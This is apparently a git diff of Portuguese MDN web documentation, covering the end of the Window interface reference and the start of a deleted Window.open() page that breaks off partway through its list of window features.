-
Indicates whether a context is capable of using features that require secure contexts.
-
{{domxref("Window.length")}} {{readOnlyInline}}
-
Returns the number of frames in the window. See also {{domxref("window.frames")}}.
-
{{domxref("Window.location")}}
-
Gets/sets the location, or current URL, of the window object.
-
{{domxref("Window.locationbar")}} {{ReadOnlyInline}}
-
Returns the locationbar object, whose visibility can be toggled in the window.
-
{{domxref("Window.localStorage")}} {{readOnlyInline}}{{gecko_minversion_inline("1.9.1")}}
-
Returns a reference to the local storage object used to store data that may only be accessed by the origin that created it.
-
{{domxref("Window.menubar")}} {{ReadOnlyInline}}
-
Returns the menubar object, whose visibility can be toggled in the window.
-
{{domxref("Window.messageManager")}} {{gecko_minversion_inline("2.0")}}
-
Returns the message manager object for this window.
-
{{domxref("Window.mozAnimationStartTime")}} {{ReadOnlyInline}}{{gecko_minversion_inline("2.0")}} {{Deprecated_inline}}
-
The time in milliseconds since epoch at which the current animation cycle began.
-
{{domxref("Window.mozInnerScreenX")}} {{ReadOnlyInline}}{{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}
-
Returns the horizontal (X) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See mozScreenPixelsPerCSSPixel in {{interface("nsIDOMWindowUtils")}} for a conversion factor to adapt to screen pixels if needed.
-
{{domxref("Window.mozInnerScreenY")}} {{ReadOnlyInline}} {{non-standard_inline}}{{gecko_minversion_inline("1.9.2")}}
-
Returns the vertical (Y) coordinate of the top-left corner of the window's viewport, in screen coordinates. This value is reported in CSS pixels. See mozScreenPixelsPerCSSPixel for a conversion factor to adapt to screen pixels if needed.
-
{{domxref("Window.mozPaintCount")}} {{non-standard_inline}}{{ReadOnlyInline}} {{gecko_minversion_inline("2.0")}}
-
Returns the number of times the current document has been rendered to the screen in this window. This can be used to compute rendering performance.
-
{{domxref("Window.name")}}
-
Gets/sets the name of the window.
-
{{domxref("Window.navigator")}} {{readOnlyInline}}
-
Returns a reference to the navigator object.
-
{{domxref("Window.opener")}}
-
Returns a reference to the window that opened this current window.
-
{{domxref("Window.orientation")}}{{non-standard_inline}}{{deprecated_inline}}{{readOnlyInline}}
-
Returns the orientation in degrees (in 90 degree increments) of the viewport relative to the device's natural orientation.
-
{{domxref("Window.outerHeight")}} {{readOnlyInline}}
-
Gets the height of the outside of the browser window.
-
{{domxref("Window.outerWidth")}} {{readOnlyInline}}
-
Gets the width of the outside of the browser window.
-
{{domxref("Window.scrollX","Window.pageXOffset")}} {{readOnlyInline}}
-
An alias for {{domxref("window.scrollX")}}.
-
{{domxref("Window.scrollY","Window.pageYOffset")}}{{readOnlyInline}}
-
An alias for {{domxref("window.scrollY")}}
-
{{domxref("Window.sessionStorage")}} {{readOnlyInline}}
-
Returns a reference to the session storage object used to store data that may only be accessed by the origin that created it.
-
{{domxref("Window.StaticRange")}} {{experimental_inline}} {{readonlyinline}}
-
Returns a {{domxref('StaticRange.StaticRange','StaticRange()')}} constructor which creates a {{domxref('StaticRange')}} object.
-
{{domxref("Window.parent")}} {{readOnlyInline}}
-
Returns a reference to the parent of the current window or subframe.
-
{{domxref("Window.performance")}} {{readOnlyInline}}
-
Returns a {{domxref("Performance")}} object, which includes the {{domxref("Performance.timing", "timing")}} and {{domxref("Performance.navigation", "navigation")}} attributes, each of which is an object providing performance-related data. See also Using Navigation Timing for additional information and examples.
-
{{domxref("Window.personalbar")}} {{readOnlyInline}}
-
Returns the personalbar object, whose visibility can be toggled in the window.
-
{{domxref("Window.pkcs11")}} {{obsolete_inline(29)}}
-
Formerly provided access to install and remove PKCS11 modules.
-
{{domxref("Window.returnValue")}}
-
The return value to be returned to the function that called {{domxref("window.showModalDialog()")}} to display the window as a modal dialog.
-
{{domxref("Window.screen")}} {{readOnlyInline}}
-
Returns a reference to the screen object associated with the window.
- -
{{domxref("Window.screenX")}} {{readOnlyInline}}
-
Returns the horizontal distance of the left border of the user's browser from the left side of the screen.
-
{{domxref("Window.screenY")}} {{readOnlyInline}}
-
Returns the vertical distance of the top border of the user's browser from the top side of the screen.
-
{{domxref("Window.scrollbars")}} {{readOnlyInline}}
-
Returns the scrollbars object, whose visibility can be toggled in the window.
-
{{domxref("Window.scrollMaxX")}}{{non-standard_inline}}{{ReadOnlyInline}}
-
The maximum offset that the window can be scrolled to horizontally, that is the document width minus the viewport width.
-
{{domxref("Window.scrollMaxY")}}{{non-standard_inline}}{{ReadOnlyInline}}
-
The maximum offset that the window can be scrolled to vertically (i.e., the document height minus the viewport height).
-
{{domxref("Window.scrollX")}} {{readOnlyInline}}
-
Returns the number of pixels that the document has already been scrolled horizontally.
-
{{domxref("Window.scrollY")}} {{readOnlyInline}}
-
Returns the number of pixels that the document has already been scrolled vertically.
-
{{domxref("Window.self")}} {{ReadOnlyInline}}
-
Returns an object reference to the window object itself.
-
{{domxref("Window.sessionStorage")}}
-
Returns a storage object for storing data within a single page session.
-
{{domxref("Window.sidebar")}} {{non-standard_inline}}{{ReadOnlyInline}}
-
Returns a reference to the window object of the sidebar.
-
{{domxref("Window.speechSynthesis")}} {{ReadOnlyInline}}
-
Returns a {{domxref("SpeechSynthesis")}} object, which is the entry point into using Web Speech API speech synthesis functionality.
-
{{domxref("Window.status")}}
-
Gets/sets the text in the statusbar at the bottom of the browser.
-
{{domxref("Window.statusbar")}} {{readOnlyInline}}
-
Returns the statusbar object, whose visibility can be toggled in the window.
-
{{domxref("Window.toolbar")}} {{readOnlyInline}}
-
Returns the toolbar object, whose visibility can be toggled in the window.
-
{{domxref("Window.top")}} {{readOnlyInline}}
-
Returns a reference to the topmost window in the window hierarchy. This property is read only.
-
{{domxref("Window.visualViewport")}} {{readOnlyInline}}
-
Returns a {{domxref("VisualViewport")}} object which represents the visual viewport for a given window.
-
{{domxref("Window.window")}} {{ReadOnlyInline}}
-
Returns a reference to the current window.
-
window[0], window[1], etc.
-
Returns a reference to the window object in the frames. See {{domxref("Window.frames")}} for more details.
-
- -

Properties implemented from elsewhere

- -
-
{{domxref("WindowOrWorkerGlobalScope.caches")}} {{readOnlyinline}}
-
Returns the {{domxref("CacheStorage")}} object associated with the current context. This object enables functionality such as storing assets for offline use, and generating custom responses to requests.
-
{{domxref("WindowOrWorkerGlobalScope.indexedDB")}} {{readonlyInline}}
-
Provides a mechanism for applications to asynchronously access capabilities of indexed databases; returns an {{domxref("IDBFactory")}} object.
-
{{domxref("WindowOrWorkerGlobalScope.isSecureContext")}} {{readOnlyinline}}
-
Returns a boolean indicating whether the current context is secure (true) or not (false).
-
{{domxref("WindowOrWorkerGlobalScope.origin")}} {{readOnlyinline}}
-
Returns the global object's origin, serialized as a string. (This does not yet appear to be implemented in any browser.)
-
- -

Métodos

- -

This interface inherits methods from the {{domxref("EventTarget")}} interface and implements methods from {{domxref("WindowOrWorkerGlobalScope")}} and {{domxref("EventTarget")}}.

- -
-
{{domxref("Window.alert()")}}
-
Displays an alert dialog.
- -
{{domxref("Window.back()")}} {{Non-standard_inline}} {{obsolete_inline}}
-
Moves back one in the window history.
-
{{domxref("Window.blur()")}}
-
Sets focus away from the window.
-
{{domxref("Window.cancelAnimationFrame()")}} {{experimental_inline}}
-
Enables you to cancel a callback previously scheduled with {{domxref("Window.requestAnimationFrame")}}.
-
{{domxref("Window.cancelIdleCallback()")}} {{experimental_inline}}
-
Enables you to cancel a callback previously scheduled with {{domxref("Window.requestIdleCallback")}}.
-
{{domxref("Window.captureEvents()")}} {{Deprecated_inline}}
-
Registers the window to capture all events of the specified type.
-
{{domxref("Window.clearImmediate()")}}
-
Cancels the repeated execution set using setImmediate.
-
{{domxref("Window.close()")}}
-
Closes the current window.
-
{{domxref("Window.confirm()")}}
-
Displays a dialog with a message that the user needs to respond to.
-
{{domxref("Window.disableExternalCapture()")}} {{obsolete_inline(24)}}
-
{{todo("NeedsContents")}}
-
{{domxref("Window.dispatchEvent()")}}
-
Used to trigger an event.
-
{{domxref("Window.dump()")}} {{Non-standard_inline}}
-
Writes a message to the console.
-
{{domxref("Window.enableExternalCapture()")}} {{obsolete_inline(24)}}
-
{{todo("NeedsContents")}}
-
{{domxref("Window.find()")}}
-
Searches for a given string in a window.
-
{{domxref("Window.focus()")}}
-
Sets focus on the current window.
-
{{domxref("Window.forward()")}} {{Non-standard_inline}} {{obsolete_inline}}
-
Moves the window one document forward in the history.
-
{{domxref("Window.getAttention()")}} {{Non-standard_inline}} {{obsolete_inline}}
-
Flashes the application icon.
-
{{domxref("Window.getAttentionWithCycleCount()")}}
-
{{todo("NeedsContents")}}
-
{{domxref("Window.getComputedStyle()")}}
-
Gets computed style for the specified element. Computed style indicates the computed values of all CSS properties of the element.
-
{{domxref("Window.getDefaultComputedStyle()")}} {{Non-standard_inline}}
-
Gets default computed style for the specified element, ignoring author stylesheets.
-
{{domxref("Window.getSelection()")}}
-
Returns the selection object representing the selected item(s).
-
{{domxref("Window.home()")}} {{Non-standard_inline}} {{obsolete_inline}}
-
Returns the browser to the home page.
-
{{domxref("Window.matchMedia()")}} {{gecko_minversion_inline("6.0")}}
-
Returns a {{domxref("MediaQueryList")}} object representing the specified media query string.
-
{{domxref("Window.maximize()")}}
-
{{todo("NeedsContents")}}
-
{{domxref("Window.minimize()")}} (top-level XUL windows only)
-
Minimizes the window.
-
{{domxref("Window.moveBy()")}}
-
Moves the current window by a specified amount.
-
{{domxref("Window.moveTo()")}}
-
Moves the window to the specified coordinates.
-
{{domxref("Window.open()")}}
-
Opens a new window.
-
{{domxref("Window.openDialog()")}} {{Non-standard_inline}} {{obsolete_inline}}
-
Opens a new dialog window.
-
{{domxref("Window.postMessage()")}}
-
Provides a secure means for one window to send a string of data to another window, which need not be within the same domain as the first.
-
{{domxref("Window.print()")}}
-
Opens the Print Dialog to print the current document.
-
{{domxref("Window.prompt()")}}
-
Returns the text entered by the user in a prompt dialog.
-
{{domxref("Window.releaseEvents()")}} {{Non-standard_inline}} {{Deprecated_inline}}
-
Releases the window from trapping events of a specific type.
-
{{domxref("Window.requestAnimationFrame()")}} {{gecko_minversion_inline("2.0")}}
-
Tells the browser that an animation is in progress, requesting that the browser schedule a repaint of the window for the next animation frame.
-
{{domxref("Window.requestIdleCallback()")}}  {{experimental_inline}}
-
Enables the scheduling of tasks during a browser's idle periods.
-
{{domxref("Window.resizeBy()")}}
-
Resizes the current window by a certain amount.
-
{{domxref("Window.resizeTo()")}}
-
Dynamically resizes window.
-
{{domxref("Window.restore()")}} {{Non-standard_inline}} {{obsolete_inline}}
-
{{todo("NeedsContents")}}
-
{{domxref("Window.routeEvent()")}} {{obsolete_inline(24)}}
-
{{todo("NeedsContents")}}
-
{{domxref("Window.scroll()")}}
-
Scrolls the window to a particular place in the document.
-
{{domxref("Window.scrollBy()")}}
-
Scrolls the document in the window by the given amount.
-
{{domxref("Window.scrollByLines()")}} {{Non-standard_inline}}
-
Scrolls the document by the given number of lines.
-
{{domxref("Window.scrollByPages()")}} {{Non-standard_inline}}
-
Scrolls the current document by the specified number of pages.
-
{{domxref("Window.scrollTo()")}}
-
Scrolls to a particular set of coordinates in the document.
-
{{domxref("Window.setCursor()")}} {{Non-standard_inline}} (top-level XUL windows only)
-
Changes the cursor for the current window
-
{{domxref("Window.setImmediate()")}}
-
Executes a function after the browser has finished other heavy tasks
-
{{domxref("Window.setResizable()")}} {{Non-standard_inline}}
-
Toggles a user's ability to resize a window.
-
{{domxref("Window.sizeToContent()")}} {{Non-standard_inline}}
-
Sizes the window according to its content.
-
{{domxref("Window.stop()")}}
-
This method stops window loading.
-
{{domxref("Window.updateCommands()")}} {{Non-standard_inline}}
-
Updates the state of commands of the current chrome window (UI).
-
- -

Methods implemented from elsewhere

- -
-
{{domxref("EventTarget.addEventListener()")}}
-
Register an event handler to a specific event type on the window.
-
{{domxref("WindowOrWorkerGlobalScope.atob()")}}
-
Decodes a string of data which has been encoded using base-64 encoding.
-
{{domxref("WindowOrWorkerGlobalScope.btoa()")}}
-
Creates a base-64 encoded ASCII string from a string of binary data.
-
{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}
-
Cancels the repeated execution set using {{domxref("WindowOrWorkerGlobalScope.setInterval()")}}.
-
{{domxref("WindowOrWorkerGlobalScope.clearTimeout()")}}
-
Cancels the delayed execution set using {{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}.
-
{{domxref("WindowOrWorkerGlobalScope.createImageBitmap()")}}
-
Accepts a variety of different image sources, and returns a {{domxref("Promise")}} which resolves to an {{domxref("ImageBitmap")}}. Optionally the source is cropped to the rectangle of pixels originating at (sx, sy) with width sw, and height sh.
-
{{domxref("WindowOrWorkerGlobalScope.fetch()")}}
-
Starts the process of fetching a resource from the network.
-
{{domxref("EventTarget.removeEventListener")}}
-
Removes an event listener from the window.
-
{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}
-
Schedules a function to execute every time a given number of milliseconds elapses.
-
{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}
-
Schedules a function to execute in a given amount of time.
-
- -

Métodos obsoletos

- -
-
{{domxref("Window.showModalDialog()")}} {{obsolete_inline}}
-
Displays a modal dialog. This method was removed completely in Chrome 43, and Firefox 55.
-
- -

Manipuladores de evento

- -

These are properties of the window object that can be set to establish event handlers for the various things that can happen in the window that might be of interest.

- -

This interface inherits event handlers from the {{domxref("EventTarget")}} interface and implements event handlers from {{domxref("WindowEventHandlers")}}.

- -
-

Nota: Starting in {{Gecko("9.0")}}, you can now use the syntax if ("onabort" in window) to determine whether or not a given event handler property exists. This is because event handler interfaces have been updated to be proper web IDL interfaces. See DOM event handlers for details.

-
- -
-
{{domxref("GlobalEventHandlers.onabort")}}
-
Called when the loading of a resource has been aborted, such as by a user canceling the load while it is still in progress
-
{{domxref("WindowEventHandlers.onafterprint")}}
-
Called when the print dialog box is closed. See {{event("afterprint")}} event.
-
{{domxref("WindowEventHandlers.onbeforeprint")}}
-
Called when the print dialog box is opened. See {{event("beforeprint")}} event.
-
{{domxref("Window.onbeforeinstallprompt")}}
-
An event handler property dispatched before a user is prompted to save a web site to a home screen on mobile.
-
{{domxref("WindowEventHandlers.onbeforeunload")}}
-
An event handler property for before-unload events on the window.
-
{{domxref("GlobalEventHandlers.onblur")}}
-
Called after the window loses focus, such as due to a popup.
-
{{domxref("GlobalEventHandlers.onchange")}}
-
An event handler property for change events on the window.
-
{{domxref("GlobalEventHandlers.onclick")}}
-
Called after the ANY mouse button is pressed & released
-
{{domxref("GlobalEventHandlers.ondblclick")}}
-
Called when a double click is made with ANY mouse button.
-
{{domxref("GlobalEventHandlers.onclose")}}
-
Called after the window is closed
-
{{domxref("GlobalEventHandlers.oncontextmenu")}}
-
Called when the RIGHT mouse button is pressed
-
{{domxref("Window.ondevicelight")}}
-
An event handler property for any ambient light levels changes
-
{{domxref("Window.ondevicemotion")}} {{gecko_minversion_inline("6.0")}}
-
Called if accelerometer detects a change (For mobile devices)
-
{{domxref("Window.ondeviceorientation")}} {{gecko_minversion_inline("6.0")}}
-
Called when the orientation is changed (For mobile devices)
-
{{domxref("Window.ondeviceorientationabsolute")}} {{non-standard_inline}} Chrome only
-
An event handler property for any device orientation changes.
-
{{domxref("Window.ondeviceproximity")}}
-
An event handler property for device proximity event
-
{{domxref("GlobalEventHandlers.onerror")}}
-
Called when a resource fails to load OR when an error occurs at runtime. See {{event("error")}} event.
-
{{domxref("GlobalEventHandlers.onfocus")}}
-
Called after the window receives or regains focus. See {{event("focus")}} events.
-
{{domxref("WindowEventHandlers.onhashchange")}} {{gecko_minversion_inline("1.9.2")}}
-
An event handler property for {{event('hashchange')}} events on the window; called when the part of the URL after the hash mark ("#") changes.
-
{{domxref("Window.onappinstalled")}}
-
Called when the page is installed as a webapp. See {{event('appinstalled')}} event.
-
{{domxref("Window.ongamepadconnected")}}
-
Represents an event handler that will run when a gamepad is connected (when the {{event('gamepadconnected')}} event fires).
-
{{domxref("Window.ongamepaddisconnected")}}
-
Represents an event handler that will run when a gamepad is disconnected (when the {{event('gamepaddisconnected')}} event fires).
-
{{domxref("Window.oninput")}}
-
Called when the value of an <input> element changes
-
{{domxref("GlobalEventHandlers.onkeydown")}}
-
Called when you begin pressing ANY key. See {{event("keydown")}} event.
-
{{domxref("GlobalEventHandlers.onkeypress")}}
-
Called when a key (except Shift, Fn, and CapsLock) is in pressed position. See {{event("keypress")}} event.
-
{{domxref("GlobalEventHandlers.onkeyup")}}
-
Called when you finish releasing ANY key. See {{event("keyup")}} event.
-
{{domxref("WindowEventHandlers.onlanguagechange")}}
-
An event handler property for {{event("languagechange")}} events on the window.
-
{{domxref("GlobalEventHandlers.onload")}}
-
Called after all resources and the DOM are fully loaded. WILL NOT get called when the page is loaded from cache, such as with back button.
-
{{domxref("WindowEventHandlers.onmessage")}}
-
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("message")}} event is raised.
-
{{domxref("GlobalEventHandlers.onmousedown")}}
-
Called when ANY mouse button is pressed.
-
{{domxref("GlobalEventHandlers.onmousemove")}}
-
Called continously when the mouse is moved inside the window.
-
{{domxref("GlobalEventHandlers.onmouseout")}}
-
Called when the pointer leaves the window.
-
{{domxref("GlobalEventHandlers.onmouseover")}}
-
Called when the pointer enters the window
-
{{domxref("GlobalEventHandlers.onmouseup")}}
-
Called when ANY mouse button is released
-
{{domxref("Window.onmozbeforepaint")}} {{gecko_minversion_inline("2.0")}}
-
An event handler property for the MozBeforePaint event, which is sent before repainting the window if the event has been requested by a call to the {{domxref("Window.mozRequestAnimationFrame()")}} method.
-
{{domxref("WindowEventHandlers.onoffline")}}
-
Called when network connection is lost. See {{event("offline")}} event.
-
{{domxref("WindowEventHandlers.ononline")}}
-
Called when network connection is established. See {{event("online")}} event.
-
{{domxref("WindowEventHandlers.onpagehide")}}
-
Called when the user navigates away from the page, before the onunload event. See {{event("pagehide")}} event.
-
{{domxref("WindowEventHandlers.onpageshow")}}
-
Called after all resources and the DOM are fully loaded. See {{event("pageshow")}} event.
-
{{domxref("Window.onpaint")}}
-
An event handler property for paint events on the window.
-
{{domxref("WindowEventHandlers.onpopstate")}} {{gecko_minversion_inline("2.0")}}
-
Called when a back button is pressed.
-
{{domxref("Window.onrejectionhandled")}} {{experimental_inline}}
-
An event handler for handled {{jsxref("Promise")}} rejection events.
-
{{domxref("GlobalEventHandlers.onreset")}}
-
Called when a form is reset
-
{{domxref("GlobalEventHandlers.onresize")}}
-
Called continuously as you are resizing the window.
-
{{domxref("GlobalEventHandlers.onscroll")}}
-
Called when the scroll bar is moved via ANY means. If the resource fully fits in the window, then this event cannot be invoked
-
{{domxref("GlobalEventHandlers.onwheel")}}
-
Called when the mouse wheel is rotated around any axis
-
{{domxref("GlobalEventHandlers.onselect")}}
-
Called after text in an input field is selected
-
{{domxref("GlobalEventHandlers.onselectionchange")}}
-
Is an {{domxref("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.
-
{{domxref("WindowEventHandlers.onstorage")}}
-
Called when there is a change in session storage or local storage. See {{event("storage")}} event
-
{{domxref("GlobalEventHandlers.onsubmit")}}
-
Called when a form is submitted
-
{{domxref("WindowEventHandlers.onunhandledrejection")}} {{experimental_inline}}
-
An event handler for unhandled {{jsxref("Promise")}} rejection events.
-
{{domxref("WindowEventHandlers.onunload")}}
-
Called when the user navigates away from the page.
-
{{domxref("Window.onuserproximity")}}
-
An event handler property for user proximity events.
-
{{domxref("Window.onvrdisplayconnect")}}
-
Represents an event handler that will run when a compatible VR device has been connected to the computer (when the {{event("vrdisplayconnected")}} event fires).
-
{{domxref("Window.onvrdisplaydisconnect")}}
-
Represents an event handler that will run when a compatible VR device has been disconnected from the computer (when the {{event("vrdisplaydisconnected")}} event fires).
-
{{domxref("Window.onvrdisplayactivate")}}
-
Represents an event handler that will run when a display is able to be presented to (when the {{event("vrdisplayactivate")}} event fires), for example if an HMD has been moved to bring it out of standby, or woken up by being put on.
-
{{domxref("Window.onvrdisplaydeactivate")}}
-
Represents an event handler that will run when a display can no longer be presented to (when the {{event("vrdisplaydeactivate")}} event fires), for example if an HMD has gone into standby or sleep mode due to a period of inactivity.
-
{{domxref("Window.onvrdisplayblur")}}
-
Represents an event handler that will run when presentation to a display has been paused for some reason by the browser, OS, or VR hardware (when the {{event("vrdisplayblur")}} event fires) — for example, while the user is interacting with a system menu or browser, to prevent tracking or loss of experience.
-
{{domxref("Window.onvrdisplayfocus")}}
-
Represents an event handler that will run when presentation to a display has resumed after being blurred (when the {{event("vrdisplayfocus")}} event fires).
-
{{domxref("Window.onvrdisplaypresentchange")}}
-
represents an event handler that will run when the presenting state of a VR device changes — i.e. goes from presenting to not presenting, or vice versa (when the {{event("vrdisplaypresentchange")}} event fires).
-
- -

Construtores

- -

Consulte também as Interfaces de DOM.

- -
-
{{domxref("DOMParser")}}
-
DOMParser can parse XML or HTML source stored in a string into a DOM DocumentDOMParser is specified in DOM Parsing and Serialization.
-
{{domxref("Window.GeckoActiveXObject")}}
-
{{todo("NeedsContents")}}
-
{{domxref("Image")}}
-
Used for creating an {{domxref("HTMLImageElement")}}.
-
{{domxref("Option")}}
-
Used for creating an {{domxref("HTMLOptionElement")}}
-
{{domxref("Window.QueryInterface")}}
-
{{todo("NeedsContents")}}
-
{{domxref("Window.XMLSerializer")}}
-
{{todo("NeedsContents")}}
-
{{domxref("Worker")}}
-
Used for creating a Web worker
-
{{domxref("Window.XPCNativeWrapper")}}
-
{{todo("NeedsContents")}}
-
{{domxref("Window.XPCSafeJSObjectWrapper")}}
-
{{todo("NeedsContents")}}
-
- -

Interfaces

- -

Consulte Referência de DOM

- -

Consulte também

- - diff --git a/files/pt-pt/web/api/window/open/index.html b/files/pt-pt/web/api/window/open/index.html deleted file mode 100644 index 0638235527..0000000000 --- a/files/pt-pt/web/api/window/open/index.html +++ /dev/null @@ -1,748 +0,0 @@ ---- -title: Window.open() -slug: Web/API/Window/open -tags: - - API - - DOM - - Janela - - Referencia - - abrir - - metodo -translation_of: Web/API/Window/open ---- -
{{APIRef}}
- -

The {{domxref("Window")}} interface's open() method loads the specified resource into the browsing context (window, {{HTMLElement("iframe")}} or tab) with the specified name. If the name doesn't exist, then a new window is opened and the specified resource is loaded into its browsing context.

- -

Sintaxe

- -
var window = window.open(url, windowName, [windowFeatures]);
- -

Parâmetros

- -
-
url
-
A {{domxref("DOMString")}} indicating the URL of the resource to be loaded. This can be a path or URL to an HTML page, image file, or any other resource which is supported by the browser. If the empty string ("") is specified as url, a blank page is opened into the targeted browsing context.
-
windowName
-
A {{domxref("DOMString")}} specifying the name of the browsing context (window, {{HTMLElement("iframe")}} or tab) into which to load the specified resource; if the name doesn't indicate an existing context, a new window is created and is given the name specified by windowName. This name can then be used as the target of links and forms by specifying it as the target attribute of {{HTMLElement("a")}} or {{HTMLElement("form")}} elements. The name should not contain whitespace. Keep in mind that this will not be used as the window's displayed title.
-
windowFeatures {{optional_inline}}
-
A {{domxref("DOMString")}} containing a comma-separated list of window features given with their corresponding values in the form "name=value". These features include options such as the window's default size and position, whether or not to include scroll bars, and so forth. There must be no whitespace in the string. See {{anch("Window features")}} below for documentation of each of the features that can be specified.
-
- -

Valor de retorno

- -

A {{domxref("Window")}} object representing to the newly created window. If the window couldn't be opened, the returned value is instead null. The returned Window reference can be used to access properties and methods of the new window as long as it complies with Same-origin policy security requirements.

- -

Descrição

- -

The open() method creates a new secondary browser window, similar to choosing New Window from the File menu. The strUrl parameter specifies the URL to be fetched and loaded in the new window. If strUrl is an empty string, then a new blank, empty window (URL about:blank) is created with the default toolbars of the main window.

- -

Note that remote URLs won't load immediately. When window.open() returns, the window always contains about:blank. The actual fetching of the URL is deferred and starts after the current script block finishes executing. The window creation and the loading of the referenced resource are done asynchronously.

- -

Exemplos

- -
var windowObjectReference;
-var strWindowFeatures = "menubar=yes,location=yes,resizable=yes,scrollbars=yes,status=yes";
-
-function openRequestedPopup() {
-  windowObjectReference = window.open("http://www.cnn.com/", "CNN_WindowName", strWindowFeatures);
-}
- -
var windowObjectReference;
-
-function openRequestedPopup() {
-  windowObjectReference = window.open(
-    "http://www.domainname.ext/path/ImageFile.png",
-    "DescriptiveWindowName",
-    "resizable,scrollbars,status"
-  );
-}
- -

If a window with the name already exists, then strUrl is loaded into the existing window. In this case the return value of the method is the existing window and strWindowFeatures is ignored. Providing an empty string for strUrl is a way to get a reference to an open window by its name without changing the window's location. To open a new window on every call of window.open(), use the special value _blank for strWindowName.

- -
-

Note on the use of window.open to reopen an existing window with name strWindowName : This functionality is not valid for all browsers and more with variable conditions. Firefox (50.0.1) functions as described: from the same domain+port reopen with same name will access the previously created window. Google Chrome (55.0.2883.87 m ) on the other hand will do it only from the same parent (as if the window was created dependent, which is the "opener"). This is a wide limitation and generates unbelievable complexity of development. Firefox (51.) gets the handle but cannot run any Element.focus() while Chrome can run focus() from opener to child but not between siblings nor, reverse, from child to opener. This function is the lonely key to get back the handle on a window if the developer has access only to its name (the name can be saved with cookies or local storage but not the window object handle). For now 10/01/2017 the differencies of behavior found recently have not still been tested for others Browsers.  

-
- -

Funcionalidades de janela

- -

strWindowFeatures is an optional string containing a comma-separated list of requested features of the new window. After a window is opened, JavaScript can't be used to change the features. If strWindowName does not specify an existing window and the strWindowFeatures parameter is not provided (or if the strWindowFeatures parameter is an empty string), then the new secondary window will render the default toolbars of the main window.

- -

If the strWindowFeatures parameter is used and no size features are defined, then the new window dimensions will be the same as the dimensions of the most recently rendered window.

- -

If the strWindowFeatures parameter is used and if no position features are defined, then the left and top coordinates of the new window dimension will be 22 pixels from where the most recently rendered window was. An offset is universally implemented by browser manufacturers (it is 29 pixels in IE6 SP2 with the default theme) and its purpose is to help users to notice new windows opening. If the most recently used window was maximized, then there is no offset: the new window will be maximized as well.

- -

If the strWindowFeatures parameter is used, the features that are not listed will be disabled or removed (except titlebar and close, which are by default yes).

- -
-

Tip: If using the strWindowFeatures parameter, only list the features to be enabled or rendered; the others (except titlebar and close) will be disabled or removed. Note that in some browsers, users can override the strWindowFeatures settings and enable (or prevent the disabling of) features.

-
- -

Firefox Toolbars Illustration

- -

Funcionalidades de posição e tamanho

- -
{{gecko_minversion_note("1.9.2", "Starting in Gecko 1.9.2 (Firefox 3.6), overriding the position of a window using window features will not change the persisted values saved by the session store feature. That means the next time the window is opened, it will still open in the saved location.")}}
- -

Note on position and dimension error correction

- -
{{bug(176320)}}
- -

Note on precedence

- -
-
left
-
Specifies the distance the new window is placed from the left side of the work area for applications of the user's operating system to the leftmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.
-
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
-
top
-
Specifies the distance the new window is placed from the top side of the work area for applications of the user's operating system to the topmost border (resizing handle) of the browser window. The new window can not be initially positioned offscreen.
-
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
-
height
-
Specifies the height of the content area, viewing area of the new secondary window in pixels. The height value includes the height of the horizontal scrollbar if present. The minimum required value is 100.
-
Note on outerHeight versus height (or innerHeight)
-
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
-
width
-
Specifies the width of the content area, viewing area of the new secondary window in pixels. The width value includes the width of the vertical scrollbar if present. The width value does not include the sidebar if it is expanded. The minimum required value is 100.
-
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x, Opera 6+
-
screenX
-
Deprecated. Same as left but only supported by Netscape and Mozilla-based browsers.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
screenY
-
Deprecated. Same as top but only supported by Netscape and Mozilla-based browsers.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
centerscreen
-
Centers the window in relation to its parent's size and position. Requires chrome=yes.
-
outerHeight
-
Specifies the height of the whole browser window in pixels. This outerHeight value includes any/all present toolbar, window horizontal scrollbar (if present) and top and bottom window resizing borders. Minimal required value is 100.
-
Note: since titlebar is always rendered, then requesting outerHeight=100 will make the innerHeight of the browser window under the minimal 100 pixels.
-
Note on outerHeight versus height (or innerHeight)
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
outerWidth
-
Specifies the width of the whole browser window in pixels. This outerWidth value includes the window vertical scrollbar (if present) and left and right window resizing borders.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
innerHeight
-
Same as height but only supported by Netscape and Mozilla-based browsers. Specifies the height of the content area, viewing area of the new secondary window in pixels. The innerHeight value includes the height of the horizontal scrollbar if present. Minimal required value is 100.
-
Note on outerHeight versus height (or innerHeight)
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
innerWidth
-
Same as width but only supported by Netscape and Mozilla-based browsers. Specifies the width of the content area, viewing area of the new secondary window in pixels. The innerWidth value includes the width of the vertical scrollbar if present. The innerWidth value does not include the sidebar if it is expanded. Minimal required value is 100.
-
Supported in: Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
- -

Funcionalidades da barra de ferramentas e chrome

- -
-
NOTE: All features can be set to yes or 1, or just be present to be "on". Set them to no or 0, or in most cases just omit them, to be "off".
-
Example: "status=yes", "status=1", and "status" have identical results.
-
menubar
-
If this feature is on, then the new secondary window renders the menubar.
-
Mozilla and Firefox users can force new windows to always render the menubar by setting dom.disable_window_open_feature.menubar to true in about:config or in their user.js file.
-
Supported in: Internet Explorer 5+, Netscape 6.x, Netscape 7.x, Mozilla 1.x, Firefox 1.x
-
toolbar
-
